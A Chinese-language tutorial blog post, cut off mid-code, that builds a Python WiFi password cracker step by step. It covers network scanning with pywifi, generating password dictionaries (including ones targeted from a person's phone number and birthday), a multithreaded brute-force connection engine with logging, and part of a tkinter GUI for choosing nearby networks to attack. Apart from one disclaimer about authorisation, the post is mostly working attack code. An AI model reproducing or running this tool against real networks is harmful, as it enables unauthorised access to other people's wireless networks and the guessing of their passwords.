Python脚本实战：构建高效WIFI密码字典破解工具

1. 从零开始：理解WIFI密码字典破解的核心逻辑

很多朋友对“破解WIFI密码”这件事感到既神秘又好奇，总觉得这是电影里黑客的专属技能。其实，用Python写一个简单的密码尝试工具，原理并不复杂，就像你拿着一大串钥匙去试一把锁，一把一把地试，直到找到对的那把。我刚开始接触这个领域时，也是抱着学习网络安全基础知识的心态，自己动手写脚本，踩了不少坑，也积累了一些经验。

这个过程的本质，我们称之为“字典攻击”或“暴力破解”。它的核心逻辑非常简单，就三步：第一，你得有一份密码字典，也就是一个包含了大量可能密码的文本文件；第二，你的电脑无线网卡得能通过程序控制去尝试连接目标WIFI；第三，写个脚本自动读取字典里的密码，挨个去试，并告诉你哪个成功了。听起来是不是挺直接的？没错，技术难点不在于思想，而在于实现的细节和效率优化。

为什么这种方法现在听起来有点“笨”呢？因为它的成功率完全取决于你的“钥匙串”——也就是密码字典的质量。如果对方的密码是“12345678”或者“password”这种常见弱口令，并且恰好在你的字典里，那你可能几分钟甚至几秒钟就成功了。但如果对方设置了一个毫无规律的复杂密码，比如“7#kL9$pQ2&zN”，那靠字典去猜，可能试到天荒地老也试不出来。所以，这个方法更像是一种“碰运气”，但它对于学习Python网络编程、理解无线认证流程以及认识弱口令风险来说，是一个绝佳的实战项目。

在开始动手之前，我们必须明确一点：这个技术只能用于测试你自己拥有完全控制权的网络设备，或者在有明确书面授权的情况下对特定网络进行安全评估。未经授权尝试连接他人的WIFI网络是违法行为，也会对他人网络造成干扰。 我们的目的纯粹是技术学习和提升自身网络环境的安全性。好了，明确了边界，我们就可以挽起袖子，开始搭建我们的工具了。

2. 环境搭建与核心武器库：pywifi详解

工欲善其事，必先利其器。要让我们Python脚本能指挥电脑的无线网卡，我们需要一个关键的库：pywifi。这个库充当了Python和电脑无线网卡驱动之间的翻译官，让我们能用代码完成扫描WIFI、连接、断开等操作。

首先，我们得把它安装上。打开你的命令行（Windows上是CMD或PowerShell，Mac或Linux上是终端），输入下面这行命令：

bash复制pip install pywifi

如果一切顺利，你会看到一堆下载和安装成功的提示。这里有个小坑我踩过：在某些系统上，尤其是Windows，可能需要以管理员身份运行命令行才能成功安装或调用某些功能。如果安装失败，可以尝试用 pip install --user pywifi 或者先升级一下pip工具 python -m pip install --upgrade pip。

安装好后，我们来认识一下pywifi里的几个核心“角色”：

• PyWiFi类：这是总入口，你可以把它想象成无线网络的管理器。
• Interface（接口）：代表你电脑上的一块无线网卡。一台电脑可能有多个无线网卡（比如有些笔记本同时有2.4G和5G的），我们通常用 wifi.interfaces()[0] 来获取第一个可用的。
• Profile（配置文件）：这个对象非常重要，它描述了一个WIFI连接的所有信息，就像一张“连接卡片”。上面要写明：要连接哪个WIFI（SSID）、用什么认证方式、加密算法是什么，当然，还有最重要的——密码。

下面是一段最基础的代码，用来检查你的网卡状态和扫描周围的WIFI：

python复制import pywifi
from pywifi import const
import time

def check_interface():
    """检查无线网卡状态"""
    wifi = pywifi.PyWiFi()  # 创建无线对象
    iface = wifi.interfaces()[0]  # 获取第一个无线网卡接口
    print(f"网卡名称: {iface.name()}")
    
    # 检查网卡状态
    status = iface.status()
    if status == const.IFACE_CONNECTED:
        print("状态: 已连接")
    elif status == const.IFACE_DISCONNECTED:
        print("状态: 未连接")
    elif status == const.IFACE_INACTIVE:
        print("状态: 未激活")
    else:
        print(f"状态: 其他 ({status})")
    return iface

def scan_wifi(iface):
    """扫描附近WIFI"""
    print("开始扫描附近WIFI...")
    iface.scan()
    time.sleep(3)  # 等待扫描结果，时间太短可能结果不全
    scan_results = iface.scan_results()
    
    print(f"\n找到 {len(scan_results)} 个网络:")
    print("-" * 50)
    print(f"{'序号':<4} {'信号强度':<8} {'SSID (网络名)':<20} {'加密方式':<15}")
    print("-" * 50)
    
    for i, wifi_info in enumerate(scan_results):
        # 信号强度，数值越大（越接近0）信号越好
        signal = wifi_info.signal
        # 网络名，注意编码问题
        ssid = wifi_info.ssid
        # 加密算法类型
        auth = wifi_info.akm[0] if wifi_info.akm else const.AKM_TYPE_NONE
        
        auth_str = "开放网络" if auth == const.AKM_TYPE_NONE else "WPA/WPA2"
        
        print(f"{i+1:<4} {signal:<8} {ssid:<20} {auth_str:<15}")
    
    return scan_results

if __name__ == "__main__":
    my_interface = check_interface()
    wifi_list = scan_wifi(my_interface)

运行这段代码，你就能看到你的网卡信息和周围一堆WIFI网络列表，包括它们的名字和信号强度。这就是我们工具的“眼睛”。有了这个基础，下一步就是准备我们的“钥匙串”——密码字典了。

3. 密码字典的生成与优化：打造你的“万能钥匙串”

字典的质量直接决定了我们工具的“战斗力”。一个糟糕的字典，就像拿着一串根本不可能打开锁的钥匙，纯属浪费时间。那么，如何制作一个高效的字典呢？我总结下来，主要有三种策略：收集现成的、根据规则生成的、以及两者结合的混合型。

首先是收集现成的弱口令字典。 互联网上有很多安全研究人员分享的“弱口令字典”，包含了成千上万最常用的密码，比如“123456”、“password”、“admin”、“qwerty”、“iloveyou”等等。你可以从GitHub等开源平台找到这些资源。我刚开始玩的时候，就收集了一个包含几十万条密码的“top500W”字典。但直接用这些大字典有个问题：体积庞大，尝试速度慢。所以，更聪明的做法是根据目标信息进行“裁剪”。

其次是基于规则的生成。 很多人设置密码并非完全随机，而是有规律的。比如“姓名缩写+生日”、“手机号后8位”、“公司缩写+固定数字”等等。我们可以用Python的itertools库来生成符合特定规则的密码。举个例子，如果你知道目标可能用8位纯数字密码，那么生成所有可能也就一亿条（00000000到99999999），虽然看起来多，但相对于无限的字符组合，这个范围已经小很多了。

python复制import itertools
import string

def generate_simple_dict(output_file="generated_dict.txt"):
    """生成一个简单的组合密码字典示例"""
    # 示例1：生成所有6位纯数字密码
    digits = string.digits  # '0123456789'
    
    with open(output_file, 'w') as f:
        # 生成6位数字密码 (从000000到999999)
        # 注意：这会产生100万条记录，仅作演示，实际生成会很慢且文件大
        # 这里我们只生成一小部分作为示例
        for combo in itertools.product(digits, repeat=4):  # 改为4位，演示用
            password = ''.join(combo)
            f.write(password + '\n')
        
        # 示例2：生成常见的字母+数字组合（如“admin123”）
        common_base = ["admin", "root", "password", "wifi", "guest"]
        common_suffix = ["123", "123456", "2024", "888", "666", ""]
        
        for base in common_base:
            for suffix in common_suffix:
                f.write(base + suffix + '\n')
                # 首字母大写变体
                f.write(base.capitalize() + suffix + '\n')
    
    print(f"字典已生成到: {output_file}")

# 更实用的：根据已知信息生成
def generate_targeted_dict(base_info, output_file="targeted_dict.txt"):
    """根据已知信息（如电话号码、生日）生成针对性字典"""
    # 假设知道一个电话号码后8位是 13800138000
    phone = "13800138000"
    # 假设知道一个生日是 1990年1月1日
    birthday_variants = ["19900101", "900101", "01011990", "199011", "9001"]
    
    with open(output_file, 'w') as f:
        # 直接使用电话号码片段
        f.write(phone + '\n')
        f.write(phone[-8:] + '\n')  # 后8位
        f.write(phone[-6:] + '\n')  # 后6位
        
        # 生日变体
        for bd in birthday_variants:
            f.write(bd + '\n')
            # 组合电话号码和生日
            f.write(phone[-6:] + bd + '\n')
            f.write(bd + phone[-4:] + '\n')
    
    print(f"针对性字典已生成到: {output_file}")

if __name__ == "__main__":
    # 生成一个小的示例字典
    generate_simple_dict("demo_dict.txt")
    # 模拟针对某个目标的字典生成
    generate_targeted_dict(None, "target_dict.txt")

最后是混合与优化策略。 在实际操作中，我通常会准备一个“组合拳”：

1. 一级字典（极精简）：包含最最常见的100-1000个密码，用于快速试探。
2. 二级字典（场景化）：根据目标可能的信息（如地理位置、运营商默认密码格式）生成的字典。
3. 三级字典（大规模）：从网上下载的综合性弱口令字典，作为最后的手段。

把字典按可能性从高到低排序，优先尝试最有可能的密码，能极大提升效率。另外，记得在脚本里做好去重，避免重复尝试同一个密码。

4. 构建核心破解引擎：连接测试与状态判断

有了网卡控制能力（pywifi）和密码字典，现在我们需要把两者结合起来，构建一个核心函数：try_connect。这个函数负责接收一个密码和一个目标WIFI名称（SSID），然后命令网卡用这个密码去尝试连接，并返回成功或失败的结果。

这里面的细节决定了工具的稳定性和速度。我最初写的版本很不稳定，经常误判，后来经过多次调试才稳定下来。关键点在于对连接状态的判断和足够的等待时间。

python复制import pywifi
from pywifi import const
import time
import logging

# 设置日志，方便查看过程
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s: %(message)s')

def try_connect(ssid, password, interface):
    """
    尝试使用给定的密码连接指定的WIFI。
    
    参数:
        ssid: 目标WIFI的名称
        password: 要尝试的密码
        interface: 配置好的网卡接口对象
    
    返回:
        bool: 连接成功返回True，失败返回False
    """
    # 1. 创建配置文件（连接卡片）
    profile = pywifi.Profile()
    profile.ssid = ssid  # WIFI名称
    profile.auth = const.AUTH_ALG_OPEN  # 认证算法：开放
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 加密类型：现在绝大多数是WPA2-PSK
    profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元：CCMP
    profile.key = password  # 密码！
    
    # 2. 移除所有已有的网络配置（避免冲突），然后添加新的
    interface.remove_all_network_profiles()
    tmp_profile = interface.add_network_profile(profile)
    
    # 3. 尝试连接
    interface.connect(tmp_profile)
    
    # 4. 等待并检查连接结果
    # 连接需要时间，等待太短会误判为失败，太长则效率低下。根据经验，2-5秒比较合适。
    wait_seconds = 4
    for i in range(wait_seconds * 2):  # 每0.5秒检查一次
        time.sleep(0.5)
        current_status = interface.status()
        
        if current_status == const.IFACE_CONNECTED:
            logging.info(f"成功！SSID: {ssid}, 密码: {password}")
            return True
        elif current_status == const.IFACE_DISCONNECTED:
            # 如果状态直接变为断开，说明密码错误，可以提前退出等待
            # 但为了稳定，有时即使断开也等满时间再确认
            continue
    
    # 等待时间结束，检查最终状态
    if interface.status() == const.IFACE_CONNECTED:
        logging.info(f"成功！SSID: {ssid}, 密码: {password}")
        return True
    else:
        # 连接失败，断开本次尝试的连接
        interface.disconnect()
        time.sleep(0.5)  # 断开后稍作等待
        logging.debug(f"失败。SSID: {ssid}, 尝试密码: {password}")
        return False

# 使用示例
if __name__ == "__main__":
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]
    
    target_ssid = "MyHomeWIFI"  # 替换为你要测试的WIFI名
    test_password = "MyPassword123"  # 替换为你要测试的密码
    
    result = try_connect(target_ssid, test_password, iface)
    print(f"连接尝试结果: {result}")

这个 try_connect 函数就是我们的核心引擎。它有几个需要注意的地方：

• 加密类型：代码里写死了AKM_TYPE_WPA2PSK和CIPHER_TYPE_CCMP，这覆盖了目前99%的家庭和个人WIFI。如果遇到非常老的WEP加密网络，需要修改为对应的常量，但WEP现在几乎绝迹了。
• 等待时间：wait_seconds 我设为4秒，这是一个比较保守且稳定的值。在实际测试中，正确的密码通常能在1-3秒内连接成功，错误的密码则会更快返回断开状态。你可以根据自己网络环境微调这个值，缩短它能提高速度，但会增加误判风险。
• 状态检查：循环检查状态比单次等待后检查更可靠，因为连接过程是异步的。
• 清理现场：每次尝试后，无论成功与否，都调用disconnect并等待一下，确保网卡回到就绪状态，为下一次尝试做准备。

把这个引擎和之前读取字典的代码结合起来，一个最基础的、单线程的破解工具就成型了：读取字典文件，循环每一行密码，调用try_connect函数，直到成功或字典耗尽。

5. 效率飞跃：引入多线程并发尝试

如果你运行过上面的单线程版本，很快就会发现问题：太慢了！ 尝试一个密码需要等待好几秒，一个包含一万个密码的字典就要跑上十个小时，这完全不具备实用性。瓶颈就在于网络连接的等待是“阻塞”的，脚本必须等一次尝试完全结束（无论成功还是超时）才能进行下一次。

解决方案就是 多线程。我们可以同时启动多个“工人”（线程），每个工人负责尝试字典里的一部分密码，这样就能在同一时间段内尝试多个密码，效率成倍提升。这就像从一个人一把一把试钥匙，变成了一群人同时拿着不同的钥匙去试。

但是，多线程编程需要小心处理共享资源，比如网卡接口和字典读取进度。我们不能让多个线程同时去操作同一块网卡连接不同的WIFI，那样会乱套。一个稳妥的策略是：每个线程独立创建自己的PyWiFi和Interface对象。虽然物理上网卡是同一个，但pywifi在接口层面似乎能处理多线程的调用（根据我的测试，在短时间内顺序发起连接请求，系统会排队处理）。更关键的是要管理好密码队列，确保每个密码只被尝试一次。

下面是一个使用Python标准库threading和queue实现的多线程版本核心框架：

python复制import threading
import queue
import time
from pywifi import PyWiFi, const
import logging

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(threadName)s - %(levelname)s: %(message)s')

class WiFiCracker:
    def __init__(self, ssid, dict_file, max_threads=5):
        self.ssid = ssid
        self.dict_file = dict_file
        self.max_threads = max_threads
        self.password_queue = queue.Queue()
        self.found = False
        self.found_password = None
        self.lock = threading.Lock()
        
    def load_passwords(self):
        """将密码从文件加载到队列中"""
        count = 0
        try:
            with open(self.dict_file, 'r', encoding='utf-8', errors='ignore') as f:
                for line in f:
                    password = line.strip()
                    if password:  # 跳过空行
                        self.password_queue.put(password)
                        count += 1
            logging.info(f"从字典文件加载了 {count} 个密码。")
        except FileNotFoundError:
            logging.error(f"字典文件未找到: {self.dict_file}")
            return False
        return True
    
    def worker(self, thread_id):
        """每个线程执行的工作函数"""
        # 每个线程创建自己的wifi和接口对象，避免冲突
        wifi = PyWiFi()
        iface = wifi.interfaces()[0]  # 每个线程获取自己的接口引用
        
        logging.info(f"线程 {thread_id} 启动。")
        
        while not self.found and not self.password_queue.empty():
            try:
                # 从队列中获取一个密码，设置超时防止无限等待
                password = self.password_queue.get(timeout=1)
            except queue.Empty:
                break  # 队列已空，退出循环
            
            logging.debug(f"线程 {thread_id} 尝试密码: {password}")
            
            # 调用连接函数 (这里需要传入当前线程的iface)
            success = self.try_connect_single(iface, password)
            
            if success:
                with self.lock:  # 使用锁确保安全地设置共享变量
                    if not self.found:  # 双重检查，防止多个线程同时成功时重复报告
                        self.found = True
                        self.found_password = password
                        logging.critical(f"!!! 密码破解成功 !!!")
                        logging.critical(f"!!! SSID: {self.ssid}, 密码: {password} !!!")
                break  # 找到密码，本线程退出
            else:
                # 标记任务完成，以便queue.join()知道
                self.password_queue.task_done()
        
        logging.info(f"线程 {thread_id} 退出。")
    
    def try_connect_single(self, iface, password):
        """单个连接尝试函数，供线程调用"""
        # 这里是之前 try_connect 函数的简化版，专注于单次尝试
        profile = PyWiFi().profile()
        profile.ssid = self.ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = password
        
        iface.remove_all_network_profiles()
        tmp_profile = iface.add_network_profile(profile)
        iface.connect(tmp_profile)
        
        # 更短的等待时间，因为多线程下可以承受一定的失败率来换取速度
        for _ in range(6):  # 总共等待约3秒 (0.5*6)
            time.sleep(0.5)
            if iface.status() == const.IFACE_CONNECTED:
                return True
            elif iface.status() == const.IFACE_DISCONNECTED:
                # 提前判断为失败，快速进入下一次尝试
                iface.disconnect()
                time.sleep(0.1)
                return False
        
        # 超时后检查
        if iface.status() == const.IFACE_CONNECTED:
            return True
        else:
            iface.disconnect()
            time.sleep(0.1)
            return False
    
    def start(self):
        """启动破解过程"""
        if not self.load_passwords():
            return
        
        logging.info(f"开始对 '{self.ssid}' 进行字典攻击，使用 {self.max_threads} 个线程。")
        start_time = time.time()
        
        threads = []
        for i in range(self.max_threads):
            t = threading.Thread(target=self.worker, args=(i+1,), name=f"Worker-{i+1}")
            t.daemon = True  # 设置为守护线程，主程序退出时线程也会结束
            threads.append(t)
            t.start()
        
        # 等待所有线程完成（或密码被找到）
        for t in threads:
            t.join(timeout=1)  # 设置join超时，防止卡住
        
        elapsed = time.time() - start_time
        if self.found:
            logging.info(f"破解成功！总耗时: {elapsed:.2f} 秒")
        else:
            logging.info(f"字典耗尽，未找到正确密码。总耗时: {elapsed:.2f} 秒")
        
        # 清理：确保所有连接断开
        try:
            wifi = PyWiFi()
            iface = wifi.interfaces()[0]
            iface.disconnect()
        except:
            pass

if __name__ == "__main__":
    # 使用示例
    target = "MyHomeWIFI"  # 目标WIFI名称
    dictionary = "passwords.txt"  # 密码字典文件路径
    threads_num = 8  # 线程数，根据电脑性能调整，一般4-10个为宜
    
    cracker = WiFiCracker(target, dictionary, threads_num)
    cracker.start()

这个多线程版本将速度提升了数倍。max_threads参数控制线程数量，并不是越多越好，因为线程切换本身有开销，而且无线网卡的处理能力有限。根据我的经验，在普通家用电脑上，设置4到8个线程是一个比较好的平衡点。太多线程可能会导致系统不稳定或网卡响应异常。

6. 实战打磨：添加日志、进度显示与异常处理

一个健壮的工具不能光有核心功能，还需要良好的用户体验和容错能力。在长时间运行的过程中，我们需要知道它正在做什么、进度如何、有没有出错。这就需要在我们的脚本里加入日志记录、进度显示和完善的异常处理。

日志记录可以帮助我们事后分析，比如哪个密码尝试失败了（可能是格式问题），脚本在什么时候因为什么原因停止了。Python自带的logging模块就非常好用。

进度显示对于动辄运行几个小时的任务至关重要。它能让我们安心，知道程序还在工作，并且大概还需要多久。我们可以计算已尝试密码数和总密码数的比例来显示进度。

异常处理则保证了脚本的稳定性。网络环境复杂，可能会突然断线、字典文件可能格式错误、线程可能会意外崩溃。用try...except把这些可能出错的地方包裹起来，让脚本能跳过错误继续运行，或者至少优雅地报告错误并退出，而不是直接崩溃。

下面我们来升级之前的WiFiCracker类，加入这些特性：

python复制import threading
import queue
import time
import logging
from datetime import datetime
from pywifi import PyWiFi, const

class EnhancedWiFiCracker:
    def __init__(self, ssid, dict_file, max_threads=5, log_file='wifi_crack.log'):
        self.ssid = ssid
        self.dict_file = dict_file
        self.max_threads = max_threads
        self.password_queue = queue.Queue()
        self.found = False
        self.found_password = None
        self.lock = threading.Lock()
        self.total_passwords = 0
        self.tried_passwords = 0
        self.start_time = None
        
        # 设置日志
        self.logger = self._setup_logger(log_file)
        
    def _setup_logger(self, log_file):
        """配置日志记录器"""
        logger = logging.getLogger('WiFiCracker')
        logger.setLevel(logging.INFO)
        
        # 避免重复添加handler
        if not logger.handlers:
            # 文件处理器
            fh = logging.FileHandler(log_file, encoding='utf-8')
            fh.setLevel(logging.INFO)
            # 控制台处理器
            ch = logging.StreamHandler()
            ch.setLevel(logging.INFO)
            
            formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
            fh.setFormatter(formatter)
            ch.setFormatter(formatter)
            
            logger.addHandler(fh)
            logger.addHandler(ch)
        
        return logger
    
    def load_passwords(self):
        """加载密码并统计总数"""
        count = 0
        try:
            with open(self.dict_file, 'r', encoding='utf-8', errors='ignore') as f:
                for line in f:
                    pwd = line.strip()
                    if pwd:
                        self.password_queue.put(pwd)
                        count += 1
            self.total_passwords = count
            self.logger.info(f"成功加载字典 '{self.dict_file}'，共 {self.total_passwords} 个密码。")
            return True
        except Exception as e:
            self.logger.error(f"加载字典文件失败: {e}")
            return False
    
    def _update_progress(self):
        """更新并显示进度（线程安全）"""
        with self.lock:
            self.tried_passwords += 1
            if self.total_passwords > 0:
                percent = (self.tried_passwords / self.total_passwords) * 100
                elapsed = time.time() - self.start_time
                if self.tried_passwords > 0:
                    avg_time_per_pwd = elapsed / self.tried_passwords
                    remaining = avg_time_per_pwd * (self.total_passwords - self.tried_passwords)
                    self.logger.info(
                        f"进度: {self.tried_passwords}/{self.total_passwords} "
                        f"({percent:.1f}%) | 已运行: {elapsed:.0f}s | "
                        f"预计剩余: {remaining:.0f}s"
                    )
    
    def worker(self, thread_id):
        """工作线程"""
        self.logger.info(f"线程 {thread_id} 启动。")
        wifi = PyWiFi()
        
        # 有些系统可能需要尝试获取可用的接口
        try:
            iface = wifi.interfaces()[0]
        except IndexError:
            self.logger.error(f"线程 {thread_id} 无法找到无线网卡接口。")
            return
        
        while not self.found:
            try:
                # 设置超时，避免线程空转
                password = self.password_queue.get(timeout=2)
            except queue.Empty:
                self.logger.debug(f"线程 {thread_id} 密码队列已空，退出。")
                break
            
            # 跳过过长的密码（WPA2-PSK密码通常8-63字符）
            if len(password) < 8 or len(password) > 63:
                self.logger.debug(f"跳过非常规长度密码: {password}")
                self.password_queue.task_done()
                self._update_progress()
                continue
            
            self.logger.debug(f"线程 {thread_id} 尝试: {password}")
            
            try:
                success = self._attempt_connect(iface, password)
            except Exception as e:
                self.logger.warning(f"线程 {thread_id} 尝试密码 {password} 时发生异常: {e}")
                success = False
            
            if success:
                with self.lock:
                    if not self.found:
                        self.found = True
                        self.found_password = password
                        self.logger.critical(f"{'='*60}")
                        self.logger.critical(f"!!! 破解成功 !!!")
                        self.logger.critical(f"!!! 目标: {self.ssid}")
                        self.logger.critical(f"!!! 密码: {password}")
                        self.logger.critical(f"!!! 尝试次数: {self.tried_passwords}")
                        self.logger.critical(f"{'='*60}")
                break  # 成功，退出循环
            else:
                self.password_queue.task_done()
                self._update_progress()
        
        self.logger.info(f"线程 {thread_id} 结束。")
    
    def _attempt_connect(self, iface, password):
        """单次连接尝试，包含详细异常处理"""
        try:
            # 确保接口处于断开状态
            if iface.status() == const.IFACE_CONNECTED:
                iface.disconnect()
                time.sleep(0.5)
            
            profile = PyWiFi().profile()
            profile.ssid = self.ssid
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = password
            
            # 移除旧配置，添加新配置
            iface.remove_all_network_profiles()
            tmp_profile = iface.add_network_profile(profile)
            
            # 尝试连接
            iface.connect(tmp_profile)
            
            # 等待连接结果
            for i in range(8):  # 总共等待4秒
                time.sleep(0.5)
                status = iface.status()
                if status == const.IFACE_CONNECTED:
                    return True
                elif status == const.IFACE_DISCONNECTED:
                    # 明确断开，提前结束等待
                    break
            
            # 最终检查
            if iface.status() == const.IFACE_CONNECTED:
                return True
            else:
                iface.disconnect()
                return False
                
        except Exception as e:
            self.logger.error(f"连接过程中发生错误: {e}")
            # 尝试恢复接口状态
            try:
                iface.disconnect()
            except:
                pass
            return False
    
    def start(self):
        """启动破解任务"""
        self.logger.info(f"{'='*60}")
        self.logger.info(f"开始WIFI密码破解任务")
        self.logger.info(f"目标SSID: {self.ssid}")
        self.logger.info(f"字典文件: {self.dict_file}")
        self.logger.info(f"最大线程数: {self.max_threads}")
        self.logger.info(f"{'='*60}")
        
        if not self.load_passwords():
            self.logger.error("初始化失败，请检查字典文件。")
            return
        
        if self.total_passwords == 0:
            self.logger.error("字典文件为空。")
            return
        
        self.start_time = time.time()
        threads = []
        
        # 创建并启动工作线程
        for i in range(min(self.max_threads, self.total_passwords)):
            t = threading.Thread(target=self.worker, args=(i+1,), name=f"Cracker-{i+1}")
            t.daemon = True
            threads.append(t)
            t.start()
            time.sleep(0.1)  # 稍微错开线程启动时间
        
        # 主线程监控进度和状态
        try:
            while any(t.is_alive() for t in threads) and not self.found:
                time.sleep(5)  # 每5秒检查一次
                # 可以在这里添加更复杂的状态监控，比如网络变化检测
                
        except KeyboardInterrupt:
            self.logger.warning("用户中断操作 (Ctrl+C)。正在停止所有线程...")
            self.found = True  # 设置标志让所有线程退出
        finally:
            # 等待所有线程结束
            for t in threads:
                t.join(timeout=2)
            
            elapsed = time.time() - self.start_time
            self.logger.info(f"{'='*60}")
            if self.found and self.found_password:
                self.logger.info(f"任务完成！成功找到密码。")
                self.logger.info(f"总耗时: {elapsed:.2f} 秒")
                self.logger.info(f"平均速度: {self.tried_passwords/elapsed:.2f} 密码/秒")
            else:
                self.logger.info(f"任务结束。未找到正确密码。")
                self.logger.info(f"总尝试次数: {self.tried_passwords}")
                self.logger.info(f"总耗时: {elapsed:.2f} 秒")
            self.logger.info(f"{'='*60}")
            
            # 最终清理
            try:
                wifi = PyWiFi()
                if len(wifi.interfaces()) > 0:
                    wifi.interfaces()[0].disconnect()
            except:
                pass

# 使用示例
if __name__ == "__main__":
    # 配置你的参数
    TARGET_SSID = "你的WIFI名称"  # 请务必替换成你自己网络的名称进行测试
    DICTIONARY_FILE = "passwords.txt"  # 你的密码字典文件
    THREAD_COUNT = 4
    
    cracker = EnhancedWiFiCracker(TARGET_SSID, DICTIONARY_FILE, THREAD_COUNT)
    cracker.start()

这个增强版的工具已经具备了产品级的雏形。它有清晰的日志输出，实时进度显示，预估剩余时间，并且能妥善处理用户中断（Ctrl+C）和各种运行时异常。日志会同时输出到控制台和文件wifi_crack.log中，方便你回顾整个过程。

7. 图形化界面（GUI）封装：让工具更易用

虽然命令行工具很酷，但对于不熟悉命令行的朋友来说，一个简单的图形界面（GUI）会更友好。我们可以用Python内置的tkinter库来快速搭建一个界面，包含选择目标WIFI、选择字典文件、开始/停止按钮和结果显示区域。

这里我设计一个简洁的界面，它包含以下功能：

1. 一个下拉列表，显示扫描到的WIFI，供用户选择。
2. 一个按钮，用于刷新WIFI列表。
3. 一个文件选择框，用于选择密码字典文件。
4. 一个开始/停止按钮，控制破解过程。
5. 一个文本区域，实时显示日志和进度。

由于GUI编程涉及到事件循环，我们需要把之前的破解逻辑放到一个单独的线程中运行，避免界面“卡死”。下面是主要的GUI代码框架：

python复制import tkinter as tk
from tkinter import ttk, filedialog, scrolledtext
import threading
import queue
import time
from pywifi import PyWiFi, const
import logging

class WiFiCrackerGUI:
    def __init__(self, root):
        self.root = root
        self.root.title("WIFI密码字典测试工具 - 学习演示版")
        self.root.geometry("700x550")
        
        self.cracker_thread = None
        self.stop_event = threading.Event()
        self.log_queue = queue.Queue()
        
        self.setup_ui()
        self.setup_logging()
        self.scan_wifi_list()
        
        # 启动日志更新循环
        self.update_log_display()
    
    def setup_ui(self):
        """设置用户界面"""
        # 顶部框架：WIFI选择
        top_frame = ttk.LabelFrame(self.root, text="1. 选择目标WIFI", padding=10)
        top_frame.pack(fill="x", padx=10, pady=5)
        
        ttk.Label(top_frame, text="WIFI名称:").grid(row=0, column=0, sticky="w", padx=5, pady=5)
        self.wifi_combobox = ttk.Combobox(top_frame, width=30, state="readonly")
        self.wifi_combobox.grid(row=0, column=1, padx=5, pady=5)
        
        self.scan_button = ttk.Button(top_frame, text="刷新列表", command=self.scan_wifi_list)
        self.scan_button.grid(row=0, column=2, padx=10, pady=5)
        
        # 中部框架：字典选择
        mid_frame = ttk.LabelFrame(self.root, text="2. 选择密码字典", padding=10)
        mid_frame.pack(fill="x", padx=10, pady=5)
        
        self.dict_path_var = tk.StringVar(value="请选择字典文件...")
        ttk.Label(mid_frame, text="字典文件:").grid(row=0, column=0, sticky="w", padx=5, pady=5)
        ttk.Label(mid_frame, textvariable=self.dict_path_var, relief="sunken", width=40).grid(row=0, column=1, padx=5, pady=5)
        
        self.browse_button = ttk.Button(mid_frame, text="浏览...", command=self.browse_dict_file)
        self.browse_button.grid(row=0, column=2, padx=10, pady=5)
        
        # 控制按钮框架
        btn_frame = ttk.Frame(self.root)
        btn_frame.pack(fill="x", padx=10, pady=10)
        
        self.start_button = ttk.Button(btn_frame, text="开始测试", command=self.start_cracking, state="disabled")
        self.start_button.pack(side="left", padx=5)
        
        self.stop_button = ttk.Button(btn_frame, text="停止", command=self.stop_cracking, state="disabled")
        self.stop_button.pack(side="left", padx=5)
        
        # 日志显示区域
        log_frame = ttk.LabelFrame(self.root, text="运行日志与进度", padding=10)
        log_frame.pack(fill="both", expand=True, padx=10, pady=(5, 10))
        
        self.log_text = scrolledtext.ScrolledText(log_frame, height=15, width=80, state="disabled")
        self.log_text.pack(fill="both", expand=True)
        
        # 状态栏
        self.status_var = tk.StringVar(value="就绪。请选择WIFI和字典文件。")
        status_bar = ttk.Label(self.root, textvariable=self.status_var, relief="sunken", anchor="w")
        status_bar.pack(side="bottom", fill="x", padx=10, pady=5)
    
    def setup_logging(self):
        """设置日志系统，将日志重定向到队列"""
        self.logger = logging.getLogger('WiFiCrackerGUI')
        self.logger.setLevel(logging.INFO)
        
        # 自定义Handler，将日志记录到队列
        class QueueHandler(logging.Handler):
            def __init__(self, log_queue):
                super().__init__()
                self.log_queue = log_queue
            
            def emit(self, record):
                self.log_queue.put(self.format(record))
        
        qh = QueueHandler(self.log_queue)
        qh.setLevel(logging.INFO)
        formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s', datefmt='%H:%M:%S')
        qh.setFormatter(formatter)
        self.logger.addHandler(qh)
    
    def update_log_display(self):
        """从队列中获取日志并更新到GUI"""
        try:
            while True:
                msg = self.log_queue.get_nowait()
                self.log_text.config(state="normal")
                self.log_text.insert(tk.END, msg + "\n")
                self.log_text.see(tk.END)
                self.log_text.config(state="disabled")
        except queue.Empty:
            pass
        finally:
            self.root.after(100, self.update_log_display)  # 每100ms检查一次
    
    def scan_wifi_list(self):
        """扫描附近WIFI并更新下拉列表"""
        self.logger.info("正在扫描附近WIFI...")
        self.status_var.set("正在扫描WIFI...")
        self.scan_button.config(state="disabled")
        
        # 在后台线程中执行扫描，避免界面卡顿
        def scan_task():
            try:
                wifi = PyWiFi()
                iface = wifi.interfaces()[0]
                iface.scan()
                time.sleep(3)  # 等待扫描
                results = iface.scan_results()
                
                ssid_list = []
                for res in results:
                    ssid = res.ssid
                    if ssid and ssid not in ssid_list:  # 去重
                        ssid_list.append(ssid)
                
                # 回到主线程更新UI
                self.root.after(0, self.update_wifi_list, ssid_list)
                self.logger.info(f"扫描完成，找到 {len(ssid_list)} 个网络。")
                
            except Exception as e:
                self.logger.error(f"扫描失败: {e}")
                self.root.after(0, lambda: self.status_var.set("扫描失败。"))
            finally:
                self.root.after(0, lambda: self.scan_button.config(state="normal"))
        
        threading.Thread(target=scan_task, daemon=True).start()
    
    def update_wifi_list(self, ssid_list):
        """更新WIFI下拉列表"""
        self.wifi_combobox['values'] = ssid_list
        if ssid_list:
            self.wifi_combobox.current(0)
            self.status_var.set("扫描完成。请选择字典文件。")
            self.check_ready_state()
        else:
            self.status_var.set("未扫描到WIFI网络。")
    
    def browse_dict_file(self):
        """打开文件对话框选择字典文件"""
        filename = filedialog.askopenfilename(
